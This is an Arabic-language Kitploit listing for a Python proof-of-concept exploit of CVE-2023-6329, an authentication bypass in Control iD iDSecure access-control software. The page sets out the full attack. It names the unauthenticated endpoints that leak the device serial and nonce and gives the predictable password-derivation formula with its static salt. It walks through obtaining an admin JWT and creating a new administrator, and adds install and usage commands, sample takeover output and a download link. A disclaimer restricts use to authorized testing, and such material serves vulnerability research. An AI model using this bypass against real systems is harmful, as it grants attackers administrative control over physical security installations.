Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-6329 — استغلال PoC بلغة Python لـ CVE-2023-6329 تجاوز المصادقة في Control iD iDSecure. يعيد بناء بيانات اعتماد المسؤول عبر خوارزمية اشتقاق كلمة مرور قابلة للتنبؤ لاختبار الأمان المصرح به. | Kitploit
أدوات/GitHubGitHub/itzvenom/cve-2023-6329
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليم
GitHubitzvenom/cve-2023-6329

CVE-2023-6329

استغلال PoC بلغة Python لـ CVE-2023-6329 تجاوز المصادقة في Control iD iDSecure. يعيد بناء بيانات اعتماد المسؤول عبر خوارزمية اشتقاق كلمة مرور قابلة للتنبؤ لاختبار الأمان المصرح به.

عرض المستودع
112منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-6329 — Control iD iDSecure Authentication Bypass

Python CVE Severity Affected

استغلال Python لإثبات المفهوم لثغرة CVE-2023-6329، وهي ثغرة تحكم وصول غير صحيح في Control iD iDSecure الإصدارات 4.7.43.0 وما دونها. تسمح هذه الثغرة لمهاجم بعيد غير موثّق بإعادة بناء بيانات اعتماد تسجيل دخول صالحة عبر استغلال خوارزمية توليد كلمات مرور قابلة للتوقع تعتمد كليًا على قيم متاحة للعموم — الرقم التسلسلي للجهاز، وقيمة nonce مقدمّة من الخادم، وسلسلة salt ثابتة. وبمجرد المصادقة، يمكن للمهاجم إنشاء مستخدم إداري جديد على واجهة الويب.

تم التحويل إلى Python بناءً على وحدة Metasploit الأصلية من تأليف Michael Heinzl. الثغرة الأصلية اكتشفها وكشف عنها Tenable.

إخلاء مسؤولية: تُقدَّم هذه الأداة لأغراض تعليمية وللاختبارات الأمنية المصرَّح بها فقط. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام. شغّل هذه الأداة فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها.


جدول المحتويات

  • تفاصيل الثغرة
  • كيف تعمل
  • المتطلبات
  • التثبيت
  • الاستخدام
  • مثال على المخرجات
  • المراجع

تفاصيل الثغرة

السبب الجذري

يُظهر إجراء تسجيل الدخول في iDS-Core.dll مسار مصادقة بديلًا عبر معامل passwordCustom. تُشتَّق قيمة هذا المعامل باستخدام خوارزمية قابلة للتوقع تأخذ الرقم التسلسلي للجهاز (القابل للاسترجاع العمومي دون مصادقة) مع قيمة nonce يقدّمها المتصل وسلسلة salt ثابتة (cid2016). وبما أن كل مكوّن من مكوّنات الحساب إما يتحكم به المهاجم أو يمكن الحصول عليه بحرية، يمكن لأي مهاجم بعيد حساب قيمة passwordCustom صالحة وتسجيل الدخول كمسؤول.

وعند نجاح المصادقة عبر هذا المسار، يعيد الخادم تعيين كلمة مرور حساب admin إلى admin، أو ينشئ هذا الحساب إذا لم يكن موجودًا بالفعل.


كيف تعمل

يتبع الاستغلال خمس خطوات:

1. فحص الإصدار — تُرجع نقطة النهاية /api/util/configUI استجابة 401 تحتوي على إصدار البرنامج، مما يؤكد ما إذا كان الهدف يعمل بنسخة قابلة للاستغلال.

2. استرجاع بيانات فتح القفل — يُرجع طلب GET إلى /api/login/unlockGetData الرقم serial للجهاز وقيمة nonce passwordRandom. لا تتطلب نقطة النهاية هذه أي مصادقة.

3. حساب passwordCustom — تُطبَّق الخوارزمية التالية لاشتقاق بيانات الاعتماد الخاصة بالتجاوز:

root@kitploit:~
sha1_hash      = SHA1(serial)
combined       = sha1_hash + passwordRandom + "cid2016"
sha256_hash    = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16)   # أول 6 خانات سداسية عشرية → رقم عشري

4. المصادقة والحصول على JWT — تُرسَل قيمة passwordCustom وpasswordRandom المحسوبتان عبر طلب POST إلى /api/login/، والذي يُرجع accessToken من نوع JWT صالحًا بصلاحيات إدارية.

5. إنشاء مستخدم إداري جديد — يُستخدم JWT لإرسال طلب POST إلى /api/operator/ لتسجيل حساب مشغّل جديد بـ idType: 1 (دور المسؤول).


المتطلبات

  • Python 3.8 أو أحدث
  • مكتبة requests

التثبيت

root@kitploit:~
git clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests

الاستخدام

root@kitploit:~
python3 exploit.py --host <TARGET_IP> [options]

أمثلة

استخدام أساسي ضد هدف على المنفذ الافتراضي:

root@kitploit:~
python3 exploit.py --host 192.168.1.100

تحديد بيانات اعتماد مخصصة لحساب المسؤول الجديد:

root@kitploit:~
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!

هدف يعمل على منفذ غير قياسي بدون SSL:

root@kitploit:~
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl

مثال على المخرجات

root@kitploit:~
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial         : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
    Username : ctfadmin
    Password : S3cr3tPass!

المراجع

  • Tenable TRA-2023-36 — Original Advisory
  • NVD — CVE-2023-6329
  • Metasploit Module — auxiliary/admin/http/idsecure_auth_bypass
تنزيل الأداة
الحقلالتفاصيل
معرّف CVECVE-2023-6329
المنتج المتأثرControl iD iDSecure
الإصدارات المتأثرة≤ 4.7.43.0
نوع الثغرةتحكم وصول غير صحيح (CWE-284)
متجه الهجومالشبكة (دون مصادقة)
تاريخ الكشف27 نوفمبر 2023
مكتشف الثغرةTenable
الوسيطالافتراضيالوصف
--host(مطلوب)عنوان IP أو اسم المضيف المستهدف
--port30443منفذ الهدف
--usernamepwned_adminاسم المستخدم لحساب المسؤول الجديد
--passwordPwned1234!كلمة المرور لحساب المسؤول الجديد
--no-sslFalseتعطيل HTTPS (استخدام HTTP العادي)